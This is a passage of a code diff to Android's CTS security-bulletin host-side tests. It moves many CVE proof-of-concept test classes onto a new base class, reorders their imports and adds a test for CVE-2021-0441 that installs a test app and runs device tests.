+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -27,7 +27,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0448 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0448 extends NonRootSecurityTestCase {
 
     static final String TEST_APP = "CVE-2020-0448.apk";
     static final String TEST_PKG = "android.security.cts.CVE_2020_0448";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 84b45a0..af83080 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -18,13 +18,14 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0458 extends SecurityTestCase {
+public class CVE_2020_0458 extends NonRootSecurityTestCase {
 
     /**
      * b/160265164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
index e3f6c26..c9b448f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
@@ -18,12 +18,15 @@
 import static org.junit.Assert.*;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11164 extends SecurityTestCase {
+public class CVE_2020_11164 extends NonRootSecurityTestCase {
 
     /**
      * CVE-2020-11164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
index a15335a..a68d2e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
@@ -1,12 +1,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11173 extends SecurityTestCase {
+public class CVE_2020_11173 extends NonRootSecurityTestCase {
 
     /**
      * CVE-2020-11173
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
index 9664abf..c1df440 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
@@ -4,12 +4,15 @@
 import static org.junit.Assume.*;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11282 extends SecurityTestCase {
+public class CVE_2020_11282 extends NonRootSecurityTestCase {
 
     /**
      * CVE-2020-11282
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index a285cd3..a5e6557 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -16,14 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29374 extends SecurityTestCase {
+public class CVE_2020_29374 extends NonRootSecurityTestCase {
 
    /**
      * b/174737879
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index db50504..c02a2ec 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -16,14 +16,18 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
 import static org.junit.Assert.*;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29661 extends SecurityTestCase {
+public class CVE_2020_29661 extends NonRootSecurityTestCase {
 
    /**
      * b/182917768
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index 4b1bc22..9df42ae 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.After;
 import org.junit.Assert;
@@ -38,7 +38,7 @@
  * collected from the hostside and reported accordingly.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0305 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
index 2cd9f7a..c85c732 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0313 extends SecurityTestCase {
+public class CVE_2021_0313 extends NonRootSecurityTestCase {
 
     /**
      * b/170968514
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
index 7487d15..1476e91 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -27,25 +27,24 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0315 extends StsExtraBusinessLogicHostTestBase  {
+public class CVE_2021_0315 extends NonRootSecurityTestCase {
     static final String TEST_PKG = "android.security.cts.CVE_2021_0315";
-    ITestDevice mDevice;
 
     @After
     public void tearDown() throws Exception {
-        AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", mDevice);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", getDevice());
     }
 
     @AsbSecurityTest(cveBugId = 169763814)
     @Test
     public void testPocCVE_2021_0315() throws Exception {
-        mDevice = getDevice();
-        uninstallPackage(mDevice, TEST_PKG);
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
 
         /* Wake up the screen */
-        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", mDevice);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", mDevice);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", mDevice);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
 
         installPackage("CVE-2021-0315.apk");
         runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testOverlayButtonPresence");
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index fa4b66b..15cdab5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -17,13 +17,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0330 extends SecurityTestCase {
+public class CVE_2021_0330 extends NonRootSecurityTestCase {
 
     /**
      * b/170732441
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 585d19b..71ce363 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -20,15 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.regex.Pattern;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0430 extends SecurityTestCase {
+public class CVE_2021_0430 extends NonRootSecurityTestCase {
 
     /**
      * b/178725766
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
index fb7638c..6a22748 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0439 extends SecurityTestCase {
+public class CVE_2021_0439 extends NonRootSecurityTestCase {
 
     /**
      * b/174243830
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
new file mode 100644
index 0000000..57b9a86
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0441 extends NonRootSecurityTestCase {
+    static final String TEST_PKG = "android.security.cts.CVE_2021_0441";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    static final String TEST_APP = "CVE-2021-0441.apk";
+
+    /**
+     * b/174495520
+     */
+    @AsbSecurityTest(cveBugId = 174495520)
+    @Test
+    public void testPocCVE_2021_0441() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0441");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index 1224dc2..90e65c2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0473 extends SecurityTestCase {
+public class CVE_2021_0473 extends NonRootSecurityTestCase {
 
     /**
      * b/179687208
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
index a3b1eae..558b092 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
@@ -18,13 +18,16 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0478 extends SecurityTestCase {
+public class CVE_2021_0478 extends NonRootSecurityTestCase {
 
     /**
      * b/169255797
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index 4d2acac..05aa43e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0484 extends SecurityTestCase {
+public class CVE_2021_0484 extends NonRootSecurityTestCase {
 
     /**
      * b/173720767
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
index 8f37185..b26e072 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0490 extends SecurityTestCase {
+public class CVE_2021_0490 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 183464868)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index 30af472..7cd6360 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -21,7 +21,7 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Assert;
 import org.junit.Before;
@@ -29,7 +29,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0523 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0523.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 5a7ec8d..f775822 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0586 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index eb74b20..92c6435 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import java.util.regex.Pattern;
 import org.junit.Assert;
 import org.junit.Before;
@@ -33,7 +33,7 @@
 import static org.junit.Assume.assumeTrue;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0591 extends NonRootSecurityTestCase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
index 0562b49..fecab0c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0596 extends SecurityTestCase {
+public class CVE_2021_0596 extends NonRootSecurityTestCase {
 
     /**
      * b/181346550
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
index d4bbfb3..41455a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -16,15 +16,18 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.*;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0636 extends SecurityTestCase {
+public class CVE_2021_0636 extends NonRootSecurityTestCase {
 
     public void testPocCVE_2021_0636(String mediaFileName) throws Exception {
         /*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
index 29fd2b3..2e1ddda 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -19,7 +19,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -29,7 +29,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0642 extends NonRootSecurityTestCase {
     static final String TEST_APP = "CVE-2021-0642.apk";
     static final String TEST_PKG = "android.security.cts.cve_2021_0642";
     static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
index e6cd19f..c50f2c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
@@ -17,14 +17,18 @@
 
 package android.security.cts;
 
+import static org.junit.Assume.assumeFalse;
+
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
 import org.junit.Test;
-import static org.junit.Assume.*;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0650 extends SecurityTestCase {
+public class CVE_2021_0650 extends NonRootSecurityTestCase {
 
     /**
      * b/190286685
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index 26bba4a..15c59ef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0685 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
index 666f791..3bfcae4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0689 extends SecurityTestCase {
+public class CVE_2021_0689 extends NonRootSecurityTestCase {
 
     /**
      * b/190188264
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index bf261fd..01a3c07 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.After;
@@ -38,7 +38,7 @@
  * Test installs sample app and then tries to overwrite *.apk file
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0691 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
     private static final String TEST_APP = "CVE-2021-0691.apk";
     private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 2b7ad14..98deb18 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0693 extends NonRootSecurityTestCase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
